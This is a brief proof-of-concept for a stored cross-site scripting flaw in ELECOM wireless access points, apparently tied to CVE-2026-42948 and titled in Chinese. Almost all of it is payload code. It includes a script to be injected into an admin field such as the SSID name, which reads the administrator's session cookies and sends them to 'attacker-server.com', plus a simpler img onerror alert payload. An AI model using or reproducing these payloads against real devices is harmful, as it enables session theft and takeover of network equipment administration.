CVE-2026-42948 ELECOM无线LAN接入点存储型XSS漏洞

<!-- Proof of Concept for Stored XSS in ELECOM Wireless LAN AP --> <!-- Attacker injects this payload into a vulnerable administrative field (e.g., SSID Name) --> <script> // Malicious JavaScript to execute in the victim's browser alert('XSS Vulnerability Confirmed'); // Example: Steal administrator session cookies var cookies = document.cookie; var img = new Image(); img.src = "http://attacker-server.com/steal?c=" + encodeURIComponent(cookies); </script> <!-- Alternative simple payload --> <img src=x onerror=alert('XSS')>